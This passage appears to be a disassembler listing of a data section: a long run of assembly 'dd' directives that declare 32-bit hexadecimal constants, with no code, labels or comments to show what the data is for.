		dd 6E28CBEAh, 0D6013CD7h, 1BAEF9BEh, 24BD0Dh, 7C3414CFh
		dd 4801E373h, 9724ADD4h, 0C8E7D8F7h, 0E0B723Ch,	47C7A0h
		dd 0E86FAE66h, 0BD410056h, 99154397h, 8800A8D2h, 4D554BB9h
		dd 70D25DFh, 3E74043Ah,	3D65C06Ah, 920105C8h, 0C9644327h
		dd 34219DBEh, 107CF4h, 0F0B9F21Bh, 364A48E4h, 1A3AF900h
		dd 0E196D159h, 203926AEh, 0C3FC0068h, 981E027Eh, 810AC900h
		dd 5F8217CFh, 436400DFh, 206A2914h, 91EEDCC5h, 73243F1Ch
		dd 8C18A47Ah, 0BE1CBD80h, 0F60FAC2h, 3B6DBB61h,	9E1F3D80h
		dd 8C00942Ch, 1B367DDDh, 0E9ED06CFh, 0EBC8DF4h,	0B161F18Ah
		dd 1C7153A0h, 89E66635h, 14084324h, 0C720D400h,	0E9C4EC0h
		dd 6A7C333Dh, 0D5808E60h, 871C739Eh, 0B2C10B31h, 0D076C15Dh
		dd 20BE0820h, 0B804F70Dh, 3F8D2B14h, 0C4E6C0FEh, 5F584C54h
		dd 81C10085h, 1E8C68F3h, 0E3E20070h, 82183EF1h,	307AD92h
		dd 2EF7C47h, 95D27AD0h,	6A14070Eh, 0E1A6ED11h, 0C0E5E473h
		dd 32008F58h, 0D63B94AFh, 91EC5BDh, 2972A0EDh, 911F2080h
		dd 4F06F436h, 9C7187Bh,	534800E0h, 19FB92Dh, 8B0E9852h
		dd 0E0E90460h, 0CF7B3F4Eh, 90B600CAh, 0ED472F78h, 67008AE4h
		dd 0CCBF6E23h, 1D095AD9h, 0CF4B972Ch, 4FAF0A46h, 4D991140h
		dd 7E00F0E9h, 2F52DB01h, 0F04E15E8h, 3FA101C1h,	0B06A2CB3h
		dd 0ED28E868h, 39A87A00h, 0CA25981Ch, 451F0011h, 8F7DD1F6h
		dd 0EFEA0B6Bh, 0F8E93200h, 7A345BCCh, 4FFAC6h, 0D9C96654h
		dd 9E1A3931h, 8B0A6200h, 7E517BC4h, 839A075Bh, 0C0DD0FDBh
		dd 54C2A94Ch, 33B3D500h, 6DF6C9FEh, 0D67F0049h,	3B5F6A94h
		dd 78C040C7h, 0A88FEC73h, 708141Eh, 6600947Eh, 60012BEDh
		dd 0B00C1CDh, 0DE12F1D2h, 5985F9Ah, 0FBED323Ch,	1DF8002Fh
		dd 2BD070Ah, 4184D900h,	0D759A315h, 6C1F3B62h, 3EDDE29Dh
		dd 6D6AA00Fh, 0B00F7C60h, 0A00D283h, 0B9F45A16h, 753389E0h
		dd 885B0F68h, 17008E65h, 0F42987B6h, 0D1900700h, 0BB147B71h
		dd 129D00A5h, 539193C1h, 0A33A96F5h, 2B8200C8h,	0E0883158h
		dd 0BB50033h, 65263A7Fh, 0A90385D0h, 0DE573773h, 2305D856h
		dd 5BA700C9h, 559136E1h, 1400C4CEh, 24ECA5B9h, 6FDBD2Eh
		dd 94476705h, 0CF03A829h, 411C4C90h, 8A13D006h,	72B81CFDh
		dd 1A370755h, 0A57F056h, 59005C67h, 0F8C268F4h,	20902Eh
		dd 5205A278h, 7F042127h, 6F37BBE8h, 0E510F062h,	0EAA07Eh
		dd 5374CF55h, 8759CE45h, 98896800h, 180877FBh, 2C810012h
		dd 80FD0637h, 0CE0049DCh, 0CDFF5D84h, 0F3A508h,	0AB46C866h
		dd 0D2472044h, 0F03EE700h, 24D8D185h, 558A0023h, 39704BA9h
		dd 5900EF62h, 8D354FFAh, 50B60653h, 39F69CD5h, 752615h
		dd 2A0F6D01h, 55F53143h, 5E40A200h, 9490F1CAh, 4AC407B9h
		dd 0C0A33AA1h, 0DCF369D1h, 455C0700h, 970C3220h, 19FA00F2h
		dd 0D9D0AC1Fh, 0BD1CB8D3h, 1C8139FFh, 0EF5935CBh, 7D20C050h
		dd 0DF775869h, 0FD13410Fh, 50E52C0h, 3C2C8FD3h,	9500EE5Eh
		dd 9342C6Ah, 94701CBBh,	0FE180037h, 89D1EEC5h, 0C8233600h
		dd 71914AB3h, 1443E4BAh, 8440760Dh, 56526800h, 0E0124F5Dh
		dd 41EBF31Dh, 0AED0CE84h, 95033080h, 0AADB0084h, 23042A89h
		dd 9800F59Ch, 0F737B58Ch, 0EA43470h, 0B96E6D9Bh, 0DFB3C01Eh
		dd 1B57892Eh, 85123Fh, 0C17A8411h, 0BF15D8h, 2CB14C63h
		dd 0A9BA0D7Ch, 5620270Ch, 0EA2586Fh, 79CE1050h,	7DB47280h
		dd 0C30045C4h, 0F8EC713Bh, 0F4BF04C2h, 4166005Bh, 30D02753h
		dd 3104AC14h, 1AE97982h, 60782081h, 2C2F0FC4h, 76854EAh
		dd 60382AE1h, 0B6F8AB5h, 9F553B00h, 633E7721h, 836100B4h
		dd 0A4C1F64Dh, 4007E02h, 1D41F3F1h, 0E2F8F940h,	84BC24A3h
		dd 49C480A4h, 7BB8B1FDh, 0EDE55200h, 0D711DBCEh, 3D7F0029h
		dd 0ACCF678Ch, 0F600646Bh, 61BC949h, 71EBB81Dh,	0EA7A52h
		dd 8BD986E6h, 0F07CE5EFh, 71E06A00h, 0EB0B1240h, 0DB9800C7h
		dd 9AED97C9h, 34044302h, 42901C6Eh, 0B7113887h,	0F0C770A9h
		dd 0F7423h, 3AAA9EE1h, 3BAE11FCh, 9312F90Fh, 0A258C028h
		dd 2D4DA0Ch, 7B2D7C71h,	31E025E3h, 0F0A42930h, 0F9E5A500h
		dd 752536Bh, 46C900E7h,	9D32B3B2h, 7A0E1A5Fh, 37B11705h
		dd 0D05BE200h, 0C51287h, 0CCB25179h, 1782D15Fh,	9EED1A00h
		dd 0B5E2C3F9h, 9CA5072Fh, 0A0440F1Fh, 0E9636B91h, 0ADD89600h
		dd 0BE4CCCE5h, 143E00E1h, 0FD27B1C3h, 6500632Dh, 5394B409h
		dd 132C32A2h, 70DC9Dh, 4F51D12Ah, 0B0005B2Eh, 4CC9149Fh
		dd 0A0A1B661h, 3E93E3ACh, 0AD00CB09h, 72DB7D73h, 30C04A6Ch
		dd 0CACC68Fh, 0B0E8008Bh, 0C3FF2D7Bh, 63029038h, 0C0AB4E9Ah
		dd 0C6840F6h, 0B7E43C4Dh, 80CB3E9Eh, 6C66BA20h,	34B04873h
		dd 8F8CD001h, 27960262h, 129D52E8h, 0B092EDh, 6ADDBEC4h
		dd 0F501FFDEh, 7E7631B9h, 0B5F4404Eh, 108C1DAFh, 0B3D60397h
		dd 707CF126h, 32BE7500h, 0B8A2433Ch, 184B7461h,	20E7E5CCh
		dd 95002362h, 415C33C3h, 77A5D9h, 0E86C2ED3h, 5003B58Ah
		dd 0AAC34A00h, 3A35D537h, 0EBDB0082h, 0B59C2DF0h, 7D0ED94Bh
		dd 0A1AE602Ah, 5F12B9ADh, 0F19E3671h, 10848091h, 0CC823340h
		dd 710AEB1Bh, 0AB880F78h, 0C07D2A7Bh, 72EF9CC2h, 7C52ADE2h
		dd 60B6C864h, 9E4CDD01h, 9A14F400h, 99F6FADCh, 33C00032h
		dd 0E33F46CDh, 0EA7D35D8h, 8300E27Fh, 64B9A7D5h, 2D5A04h
		dd 634DE7ADh, 2671B656h, 0FA8E051Dh, 423BB080h,	2C8646C4h
		dd 5FFDD7h, 822EEB8Dh, 5900B976h, 5C35BAF3h, 5F531Ch, 28DEA6ACh
		dd 0EC9111BDh, 0C3F62574h, 447DDF00h, 3B67AFC4h, 0BB40E17h
		dd 966EC6C5h, 0AC5E0C60h, 0EE00277Bh, 4ADADC10h, 722169B0h
		dd 2B74058Dh, 43711140h, 0D42001ECh, 67731800h,	0E8636DA4h
		dd 202B616Eh, 60275B29h, 8CF27024h, 3A346260h, 0C730E42Ah
		dd 8D023419h, 6D0F3051h, 0EE9A9400h, 0D330D977h, 6ED50FD7h
		dd 2F6C8158h, 0C200F438h, 0F0C0D3Eh, 986A343Bh,	0F640C56Eh
		dd 9E2B8090h, 0C00CE8A5h, 8F05DF2h, 68B2C6h, 0BFFC59Dh
		dd 0AFAA4DBEh, 0BC901118h, 18C1CFC0h, 5812B1A3h, 2A307FCCh
		dd 19687023h, 0F4340038h, 56675A2h, 7400580Fh, 0E5AF8101h
		dd 92793Bh, 0C06DDC76h,	8963DDE1h, 2D1F5B03h, 987075BEh
		dd 46301Bh
		dd 0A5FE3BDCh, 4F508109h, 0C1E39C1Eh, 0AE92007Bh, 0C47A8FCDh
		dd 16DA00BDh, 96B05EEFh, 0FD003842h, 3FF17EADh,	18A4D85Bh
		dd 202DA23h, 2D009C56h,	4B2FF327h, 6BE772h, 6ADB5CCBh
		dd 0FD583A39h, 7969D91Fh, 0CD1B0E07h, 0C548E8C0h, 95EA4818h
		dd 2F867C00h, 8FE0F75Ah, 0CC4CCE00h, 3BA06BADh,	65F60056h
		dd 78DFA763h, 7BFC53E0h, 0AD7183Ah, 0A20B85F8h,	5DFFD901h
		dd 6AF8DD33h, 7F779Eh, 3C5148F2h, 206B6612h, 41DC9CAh
		dd 8E00DC55h, 0AC8A0833h, 2FC63Dh, 61FF32DCh, 1B21197Fh
		dd 83DA9600h, 5D42E266h, 94C00B2h, 43ABC531h, 7F001B49h
		dd 2516F1E7h, 0C86541DBh, 0B642E629h, 22C32439h, 0CA28822Fh
		dd 86B2559h, 0B34FEF14h, 7E28D919h, 4F2F2841h, 11F2AB11h
		dd 29906230h, 4EB384A2h, 0AA437748h, 56791163h,	7251084Dh
		dd 0F353084Ch, 29707C8Ch, 345A443Ah, 0F43F11F5h, 176EFB11h
		dd 0F408C94Ch, 14E100BDh, 0A86629BAh, 0D00A0C6h, 0F902FEDh
		dd 7CE26FCh, 0F265EAB1h, 2E49E0FFh, 0C3BD246h, 26670099h
		dd 8373138Bh, 0B24D00D4h, 979ECD68h, 0AB01CE10h, 553B7C82h
		dd 74703AC4h, 0C36E0099h, 0BC19959Eh, 331CB3C9h, 168F9FB9h
		dd 0CE3920A5h, 0C0822FE7h, 0D8FA3E26h, 0E400EABEh, 46A33AA6h
		dd 7E02B224h, 0C0420E16h, 1CAF4EA8h, 0BB6C2020h, 0B930CB83h
		dd 86AB1014h, 18580027h, 6E4D8CF0h, 5D01EF51h, 940A72F3h
		dd 18200301h, 1F8E7C42h, 0C0E0EA1Fh, 0E4EB266Dh, 5500D8AAh
		dd 29158880h, 1FCBA098h, 0BD9753A6h, 31D707F3h,	11F903Ch
		dd 0E1D343DCh, 69542086h, 3F45A00h, 0CF9781AAh,	0A757A33h
		dd 874877FDh, 0E5803A88h, 0F3B4DAA9h, 11024FEBh, 0B8571A46h
		dd 0CA866012h, 53E037h,	0AD9A9C7Dh, 0FE7CE41Dh,	0BB5AD000h
		dd 6174A0D8h, 94CC003Dh, 0ED6E5246h, 716DD32h, 0ACD2FBh
		dd 0C9EA9900h, 0D41D15F9h, 0C5EE302h, 0C0CA119Eh, 4708C4h
		dd 0DB04429Ah, 33435617h, 55CF5700h, 0F688D645h, 0ADBA0744h
		dd 73FDF249h, 0FFD81E2Eh, 8C908077h, 132CCC00h,	9F1D01E0h
		dd 0C831006Dh, 819E6FA1h, 80002B08h, 0D3649B72h, 7BFA153Bh
		dd 0A1865CCFh, 0C8B840h, 786B5A83h, 0FAE60673h,	1D90980Bh
		dd 0C7C07E9h, 7A07CF70h, 5D2400A5h, 0C54A560Fh,	5A00068Dh
		dd 0E93B1894h, 5FE662E4h, 9CA8FEh, 51AA53Fh, 9E2089h, 0CE8C4A14h
		dd 49F750B7h, 3B043C06h, 7FAF228h, 0AE979CE0h, 1F7EF7Bh
		dd 14BEBF24h, 840FE052h, 57926200h, 50D65C2Eh, 347F2AF6h
		dd 0BAAE04DCh, 835B7058h, 0DCB06030h, 910F2B8Ch, 60B35A99h
		dd 0CE97F19h, 5BBA04FFh, 0C0890A24h, 1652F15Ch,	0EBFE3F0Eh
		dd 0C885619Ch, 0ACD857C5h, 0E3B20E89h, 1F638E64h, 1858BA1Dh
		dd 5C7F0168h, 0DC5EC637h, 27D55D4h, 1F52E47Ah, 18421641h
		dd 0D0EB0057h, 99234Ah,	75EFE095h, 0A8DE507Ch, 26A103Bh
		dd 45BA2597h, 0FA9048A1h, 1E510E64h, 6B41342Eh,	0E0B9A09Eh
		dd 440722B0h, 2470F117h, 2E658C00h, 7A730059h, 1EF36EDh
		dd 0CA3D5A0Fh, 0ECA9A8DEh, 0CE7C6E08h, 37B480BBh, 60639DECh
		dd 170089F4h, 1501B24Ch, 72EF8Bh, 0AE1E7B7Dh, 5210D4C1h
		dd 0B866F400h, 8777A1D9h, 3560EECh, 4901F859h, 0C9C78BB3h
		dd 1D5D0066h, 4BCE004Ah, 3DC30F8Ch, 290A2D4Dh, 98C67464h
		dd 80458200h, 15158E5h,	639F48CEh, 0FC4D8FDAh, 0CB3012FCh
		dd 378028C0h, 85BE1F72h, 4D22C010h, 829E7A34h, 34CF4Ch
		dd 97870976h, 5FB450h, 5154ACDCh, 51CA503h, 1FC943Fh, 0D0813F64h
		dd 4DC1A940h, 24A14C60h, 13E904F1h, 0C1004C67h,	3304D270h
		dd 1AB5AA84h, 9102CC6h,	0E2839181h, 5BC52483h, 0C988ADB3h
		dd 716143DBh, 9D909651h, 0E55424h, 88EA9A4Ch, 9212AA57h
		dd 820A983Eh, 0BB103096h, 3DE880CFh, 0CE595Eh, 54A413DDh
		dd 0AC14E611h, 3D3E400h, 0C60F4A20h, 3D9B00FFh,	26C7ABCAh
		dd 370258CBh, 5BBB06B9h, 38E4A0B2h, 114623Bh, 0E4CDF699h
		dd 0F09564BAh, 1F00F043h, 61C627B9h, 3CCDB60h, 2D6FD91Eh
		dd 0E4B8BA13h, 0DE00EC31h, 51A25A55h, 2487BD9Bh, 0B33B4Fh
		dd 996089D8h, 37037B6Bh, 0F608FB84h, 2E78A0C3h,	3E9B030Ch
		dd 0DC651B79h, 677080BCh, 8F2C5C4Dh, 3801657Ah,	0DA1F79EDh
		dd 9027E0h, 657B53D0h, 0BA51E829h, 0D5136600h, 9932520Dh
		dd 0A0C50A35h, 0A8398Ch, 0F22F573Ch, 0D300720Bh, 0E080D787h
		dd 0C42C9h, 5614D98Bh, 443762FFh, 0A0162A00h, 0F28FDF03h
		dd 7C902A71h, 2D1E0040h, 0B6F2B88h, 4D002004h, 76584BB6h
		dd 15FAB1h, 0B25C614Ah,	0A79BD05Dh, 9D88BA03h, 8003E03Fh
		dd 716C93B9h, 0AD3B007Dh, 0CEBF27FCh, 29049CAFh, 23C63F9Ah
		dd 65CD4780h, 92F101B8h, 5D8CD422h, 0DC845272h,	748C805Dh
		dd 26AB0B53h, 0F4DBE4h,	19BA390h, 9C0552D3h, 8DBFBE68h
		dd 3A820B80h, 0EC16001Eh, 0B788AAF4h, 1700C8A4h, 6B69BC61h
		dd 0BA00884h, 915F684Ch, 0C3FD9900h, 0B8E4AE42h, 5600F77Dh
		dd 2FE41A7Ch, 9EDBE78h,	33B586A0h, 0F5BB5400h, 280037C6h
		dd 97670AF8h, 0DE1E8Bh,	9BAB5B91h, 0EAB7DDCDh, 0C77D9007h
		dd 9018549h, 66C9F3EFh,	0D661C4h, 4D5073AFh, 4910AEDh
		dd 4845D8B5h, 0EF3CC9F3h, 0BC5D0074h, 9C7A9B89h, 95E83F5Fh
		dd 0D514FE02h, 808D5521h, 0E389DEB4h, 0D76F00E7h, 979F9D08h
		dd 6401D4B0h, 5FF3C17Ah, 26D84FA5h, 0A35B00BCh,	0DBCD1D8Ch
		dd 2E00A154h, 7D365067h, 75BF94B2h, 18F113BDh, 3340006Bh
		dd 1571444Bh, 19113Fh, 925B3E4Ah, 0A3472BEDh, 0A8A4E3B8h
		dd 1C30284Bh, 81E45ED5h, 0A6B4F6A0h, 1C8470C6h,	0A7085D00h
		dd 6F605768h, 35943AC3h, 2D2E2200h, 0CA98FF2Ch,	0EC00EC91h
		dd 0E8727EA6h, 6D8C0055h, 4561105h, 0FE004812h,	63C1B550h
		dd 0BAA8C4h, 16536F15h,	442005D4h, 0C36A0400h, 98E77538h
		dd 0DCBF01D9h, 0B0E970B2h, 0D0E0E29Eh, 2800B43Eh, 0D13D0EF1h
		dd 0E2D36D37h, 8FD06EDh, 0F812B35Eh, 2C70C00h, 95AC11E3h
		dd 598100B8h, 369DED42h, 520098FDh, 0D7C8C743h,	6A87D0h
		dd 0C34518CAh, 0ABD69288h, 0AEBE300h, 653FA22Bh, 0DFB40E70h
		dd 0DC200524h, 23BCBBC7h, 73B02B0h, 0DADD0081h,	0FF341152h
		dd 9C470209h, 0C4DCD2D5h, 4E887040h, 0D436E701h, 0A921E9A5h
		dd 176AFF4h, 0DD1495A6h, 801F54D7h, 2AD217D4h, 0E890D1BAh
		dd 8C6005Ah, 1FE61020h,	61001570h, 8A1335ACh, 7A6E0F4h
		dd 0A720BFCCh, 0CA7C504Ch, 87007B1Fh, 0DC9C5127h, 7ED642h
		dd 0AFFA0FCBh, 655DA5F5h, 0FC008898h, 0AAC796EEh, 7B41E357h
		dd 7819009Dh, 0E7D8053Dh, 867EF44Bh, 0C88D4A00h, 5FF03A1Ah
		dd 0FFEB0063h, 90E066AFh, 89018070h, 4D459A9Eh,	0BC430DD4h
		dd 1403B825h, 464B147h,	0A03DAF5Fh, 900F37A0h, 0E0CBCD6Bh
		dd 437E53FFh, 987B3CEAh, 0FCDE208Eh, 0CEF728B8h, 0D5074900h
		dd 97EC77A0h, 0C7D80070h, 6433CAD9h, 0CF00B1B8h, 0E02DBFD7h
		dd 12441C3Fh, 80FA477Bh, 0CDC42C8Ch, 0A0404Ch, 7EF5C5E1h
		dd 86FC5Fh, 0DD49A674h,	119DFBB9h, 0F1ABB526h, 81A28109h
		dd 0C93916DEh, 1F4048E0h, 82C0E00Ah, 7C0D25D5h,	0A2BAA6C0h
		dd 0C003E7Fh, 7FD4CE6Dh, 3EEE405h, 84672D39h, 61B06988h
		dd 0DA00BD5Eh, 15AA4401h, 0B23EC4h, 10ACD643h, 5BCD256Bh
		dd 63F56914h, 0F6F400C8h, 1FA46F2Eh, 554900F8h,	54C0650Ch
		dd 3000314Bh, 3F5C3BC4h, 0E43E1307h, 5A9832h, 0C937E299h
		dd 0E5C8977Eh, 0B40B602h, 0C2054C02h, 1DC8039Ah, 0B202D46Ah
		dd 84E06425h, 0E60FCC44h, 2DD798h, 334349EDh, 0FCC31FACh
		dd 6DBDC06Fh, 358137C8h, 12A2A648h, 0D800CEE7h,	3BA3E5A9h
		dd 0D5483BA1h, 9712CD80h, 382EE366h, 693E3907h,	430268Eh
		dd 3C21654Ah, 4680C12Ah, 0B856F82Bh, 1E007F25h,	6E5B3CC8h
		dd 9B57E73h, 5C7BBDD0h,	0ABB580F7h, 1948A4h, 44609BBBh
		dd 76A72F42h, 0E881DAF7h, 2075DDD4h, 2900E9D1h,	1827EFBEh
		dd 2C371B20h, 1B470C1h,	0CEAD9BC6h, 0D6A848A7h,	7E17CA5Ch
		dd 0D034351Ch, 0C6A10383h, 0CEE6A1E1h, 954030h,	8818C374h
		dd 4F3FA3AFh, 5C6349h, 641C1957h, 13B1E79Fh, 0E4B45Dh
		dd 0A0581DDCh, 0EB01E6F7h, 36CE9033h, 5431C376h, 7706ADCh
		dd 2566F2BDh, 18C1B627h, 0E032AA05h, 0D00016CCh, 38F3BC9Ah
		dd 16E7AF0h, 5C9D36F7h,	0D0A055ADh, 0ED0E0768h,	207119C6h
		dd 569C2682h, 21FA0EA9h, 0FF811139h, 24A095B8h,	1200187Ch
		dd 83C6FB88h, 0CC75F6h,	39ABB0A9h, 0E81C6BE9h, 0B3ADF00h
		dd 0BF9A4FF5h, 0F3BA0125h, 0C54A55FDh, 9557F48Ah, 0EF34D401h
		dd 2EFC693Dh, 90519C8h,	13FF60F9h, 0A1CDEC00h, 820967EBh
		dd 800414FDh, 12871884h, 0C6A9261Fh, 4BF700BCh,	8FCE7BC8h
		dd 0EAF4CA17h, 0A4000856h, 4CD188A2h, 567900B2h, 0BE184EA5h
		dd 46E235C1h, 30457B18h, 24C5DAD1h, 80E43FE9h, 752C2EBCh
		dd 66090AE3h, 80890222h, 0D96D27B0h, 3CB24CABh,	0BB7E08Fh
		dd 6C81B374h, 206B594Dh, 2034993h, 3E70800Eh, 9CA0F1DDh
		dd 0DBA3F040h, 5E8214D2h, 0AC00ECE6h, 45ABBD50h, 0EE249C53h
		dd 78005932h, 97E82DF5h, 65B2175Fh, 2A9C4537h, 2B489838h
		dd 6B00917Dh, 5B2293C3h, 0B06AED19h, 0FA4A001Ch, 58C40105h
		dd 3300A385h, 440986B5h, 7DD62Fh, 0AEFB9A61h, 21E514Eh
		dd 5DB4A000h, 286E1846h, 15B900C4h, 8838428Bh, 64004F7Ah
		dd 0E6AB39B1h, 1F4724h,	12B06AD4h, 9FA67D8Fh, 16B333Fh
		dd 0CA217971h, 99D8C6A8h, 0C97B1Eh, 0F8930BA5h,	35204703h
		dd 3C95762Eh, 25C9901Ch, 67D4015Fh, 76302D09h, 0E9EECF8h
		dd 0B564660Eh, 5B8BCF40h, 6012D9F0h, 0B402A172h, 60A5367Ah
		dd 15632B8h, 21C6E3FEh,	94C04EBBh, 0D07E80h, 96D630BFh
		dd 2B85719h, 0B4E9BEE5h, 4D60C6EFh, 0E0C033DAh,	4899221Dh
		dd 0A77001BDh, 801C54Eh, 0A868E9h, 3B7C86B2h, 1DE9C7Eh
		dd 3EADFB59h, 8019D409h, 641F6C20h, 13089B86h, 10EF373h
		dd 34ED29C4h, 0A43CEC69h, 0B995D600h, 0AB6A08BCh, 0B371003Fh
		dd 0C440CFDAh, 100FDD4Eh, 0C161FA53h, 0FBA3BEF3h, 2C758420h
		dd 0C070B1D4h, 0CB3D6C4Eh, 0F4F5613Ah, 0C2A3E200h, 97077DF2h
		dd 3890C053h, 0CC0A54A5h, 88037E0Bh, 857420F7h,	7319C04Bh
		dd 7BA601BFh, 66A075C8h, 0F1E88037h, 33294959h,	35710A94h
		dd 818068FDh, 17852015h, 0E24020B2h, 0F0544902h, 60352695h
		dd 245116h, 34699EB3h, 979D2F88h, 1E3CC13Fh, 1A936C81h
		dd 0B3B06040h, 108EA2h,	4A3B8A69h, 0F7D17FB7h, 0BA631A02h
		dd 6A425BE2h, 0C6C48068h, 0F147309h, 0EABBE6B1h, 60E4ACE0h
		dd 0A20176B8h, 0B041F0A1h, 0A9F07859h, 83C80004h, 58E43E77h
		dd 3160E9B2h, 3BA0FC0h,	18F4F9FFh, 0FDDA01C8h, 0DED63558h
		dd 6C3FF0ECh, 0D4AEF300h, 0B81103C0h, 281638BBh, 0E9A200FCh
		dd 87EC4199h, 291C4B94h, 0C98FD4CFh, 0FFA721BEh, 6838EFB0h
		dd 2E608100h, 0B99BA52h, 0C1F2150Fh, 0F55EE057h, 5C47FF0Ch
		dd 0D900BC5Bh, 2C375A03h, 0D401C997h, 0E2DBA587h, 7F708410h
		dd 0E13C00DEh, 4ABCF273h, 0CF009104h, 0E7F79F83h, 13D31B9h
		dd 1C0A0F9Ch, 0D892F005h, 2C2486D7h, 7006446h, 0FB5C3799h
		dd 0AE35050Ah, 8049E018h, 0A223EE6Ah, 19026313h, 0B201DC00h
		dd 260A8F56h, 3C201790h, 0E9006C5Ch, 0C10E2471h, 8E0BEC86h
		dd 464800Ah, 0B416C8h, 1270038h, 0C375682Ch, 0D100173Ah
		dd 424EFF23h, 30F12D47h, 34904184h, 0C0095CFh, 204C4944h
		dd 0EB887D1h, 63248981h, 0E5FF80FEh, 489C8DFBh,	0EADAC00Eh
		dd 5B2A21F6h, 7E2064A8h, 0F1D53F6Ah, 2541E402h,	0A0C1C1F8h
		dd 0D22F935h, 882C9C71h, 4F4BA909h, 0BBAD98A0h,	0E5001974h
		dd 0A01DB785h, 5341BFh,	1A22F95Dh, 8983357Ch, 0B000CEF6h
		dd 0CD982E69h, 545E419h, 4442F523h, 813CB032h, 0BD9B39h
		dd 0B0F9C52Ah, 2C66A8h,	4EB67407h, 5B618045h, 202EFB00h
		dd 358ADDA4h, 0F802006Fh, 4F583BDBh, 0F907621Eh, 0E5C1F5D2h
		dd 536D60E1h, 0DC2088F5h, 0B02B4DCCh, 1A175900h, 815C0767h
		dd 4CA37E00h, 0BA130231h, 0D9F0B5h, 995404ADh, 58E5C21Ah
		dd 0F64D0A00h, 396785D1h, 0C1C00491h, 0C087547Ah, 7F1E4B4h
		dd 45017CFCh, 0BE35C519h, 28C85E8Bh, 0E5522EA6h, 2B4A007Dh
		dd 0A969329h, 13F63F2h,	0E4EB80BCh, 0FA179C67h,	51D002Eh
		dd 7D40454Dh, 0C100E216h, 0E6B8F68Ah, 3D805E75h, 2F802668h
		dd 64F4F7DCh, 0DD24507Dh, 0EC0E586Fh, 5795A0B3h, 740D03Ah
		dd 0DE78D52h, 6A5490DBh, 84A09881h, 43006193h, 0AFA2BA7Fh
		dd 2C72F534h, 0C0F1F2h,	14E5ADE8h, 601F7F86h, 18700A3Bh
		dd 0FC4C0840h, 0F74B008Fh, 38C9132Dh, 86006A5Dh, 0EAD73EF0h
		dd 3AC71DE4h, 9580547Fh, 87749781h, 630096F4h, 5888AAFh
		dd 15CEFF1h, 0A7139D6h,	2A724994h, 8526B805h, 7AD4E0h
		dd 234F8188h, 0EC5A743Dh, 1F82E600h, 6E7359F0h,	644E0026h
		dd 0C79628B8h, 900EA8Ch, 0A2DC8866h, 6311FE77h,	0A36D204Fh
		dd 6C578488h, 0B7676800h, 46DD898Ah, 487D02DFh,	0FD91B028h
		dd 0DD3128C1h, 0F8A440DEh, 40C08AF5h, 0EAA735CAh, 371807DAh
		dd 0A0CE1BDDh, 481FC872h, 1DB9230Bh, 0B8BC000Ah, 3E1C0EBh
		dd 22E9B667h, 0A280BA45h, 95009ACBh, 7F77C80Fh,	264693h
		dd 4A174315h, 0D16C34D2h, 1D9ECB48h, 2B8FC5Ch, 0A441497Dh
		dd 97A1C1A0h, 810D847h,	0FCC4720Eh, 0D3F6007Bh,	1AE3F016h
		dd 0A00062C1h, 42AF76ADh, 3C43371Bh, 788011AAh,	0EE7C8236h
		dd 56009738h, 0B428845Bh, 5C652F96h, 7C0D25h, 873CAF80h
		dd 0CA39447Bh, 0E4B63600h, 93436212h, 2A5C0052h, 79F8C1CFh
		dd 0DC00A273h, 69E9379Ah, 12C06F39h, 1783A829h,	7103AA10h
		dd 1813B47h, 37F87110h,	7062ABF2h, 6A00DD80h, 8457A8C9h
		dd 0C7200Eh, 0AD9D4E81h, 0F3940D1Dh, 3883B59h, 0BFF22837h
		dd 0E728049Eh, 80A606ACh, 0D3C6135Dh, 709F3C9Ah, 54220085h
		dd 0CF8E690Eh, 9300BF1Ch, 0AF65C305h, 765BB856h, 0E3720045h
		dd 292CD930h, 1C001D2Ah, 0ABCA6078h, 608166E4h,	0A24DB0E0h
		dd 761FB7F7h, 424092E7h, 0E5B2C8DAh, 680C3D9Ah,	64AECE80h
		dd 7319227Fh, 0E783548h, 93638C6h, 0EBC4E050h, 9C601D46h
		dd 33E240FAh, 0DD825C8Eh, 0A5EC0400h, 3EF27E3Dh, 2AE00EC7h
		dd 0AC40DF20h, 9A99F3BCh, 711DD1Eh, 7337F606h, 25E8F0E2h
		dd 0A0005823h, 4229A30h, 4E8BDF00h, 65A1814Fh, 0D1F8B4h
		dd 27C023C3h, 396D1353h, 5E17B21Fh, 0CE874B9Eh,	60291D43h
		dd 2ACCCA8h, 347135E2h,	84E14628h, 143960F1h, 6C404A5Eh
		dd 0ED74696Ah, 7A4A07h,	89B7B1BCh, 3E7972A1h, 4F4024BEh
		dd 128440F2h, 0A19C2312h, 0F9DCE010h, 4CE5D32Eh, 0B050A00h
		dd 3DA5643Bh, 1FBFBDC9h
		dd 5AB69B87h, 6BE6D07Ch, 0B900F3DAh, 5E16156Ah,	98339978h
		dd 1BA50044h, 20D5E705h, 7700E122h, 7B51DCF9h, 1D80360Ah
		dd 40982C4Eh, 8B82C684h, 0CB77B50Fh, 79668600h,	1213F7B4h
		dd 0A6D405F8h, 0B1BC20ECh, 80323024h, 6E5F20C1h, 0E8F875B3h
		dd 683C1C26h, 3DEC80EDh, 65A9DCE5h, 67E7AD02h, 0DD25D55Ah
		dd 0A55B7C00h, 4900F097h, 9AF524D3h, 22DC1C8h, 98FBD04Bh
		dd 7C5041C4h, 379E7D00h, 0B10CE4A6h, 75490063h,	1352E579h
		dd 1200F7FAh, 0AD3CFD51h, 91B392h, 0B471C9E7h, 2B500D2Ah
		dd 0FE060501h, 0C2441B6Bh, 0B07FC020h, 0B9410093h, 0B185DD53h
		dd 6900FFBFh, 56A4B1Fh,	192A48B5h, 114C0616h, 0C003E436h
		dd 0D199403h, 808F1369h, 1CE75Fh, 3931BB96h, 1B1D7BFEh
		dd 71700181h, 0A9D93BDAh, 9DF0B00Fh, 14310D80h,	7700C425h
		dd 0D55BD42Ah, 18AC78E5h, 0F19A20B7h, 1303A11Fh, 33A68C9Eh
		dd 370D8173h, 0B53481F2h, 35206E76h, 9DE913A6h,	60ECC6CCh
		dd 0EE370206h, 0C09871C1h, 47884650h, 0E600148Bh, 0CDC8D499h
		dd 0F470236Dh, 13710041h, 0AF292E76h, 16004D9Ch, 0A84449C5h
		dd 799F340Fh, 51B081h, 3FA750F2h, 72FDBCCBh, 3739A501h
		dd 365AAED4h, 27622E8h,	0BEAD5B58h, 50E01311h, 438D654h
		dd 6A398730h, 7AE01244h, 9FAA5Bh, 0C219E631h, 0E48E8A55h
		dd 3CFFB600h, 9C1BF29h,	0E0A7F75h, 0DB78D535h, 2826F6A6h
		dd 74A5922Ch, 0AD85D801h, 0F9874180h, 0DFEFA2h,	9A37F1BAh
		dd 6E09C365h, 0B6829C40h, 0A8FBDFh, 0A0DEC47Ah,	0B0211939h
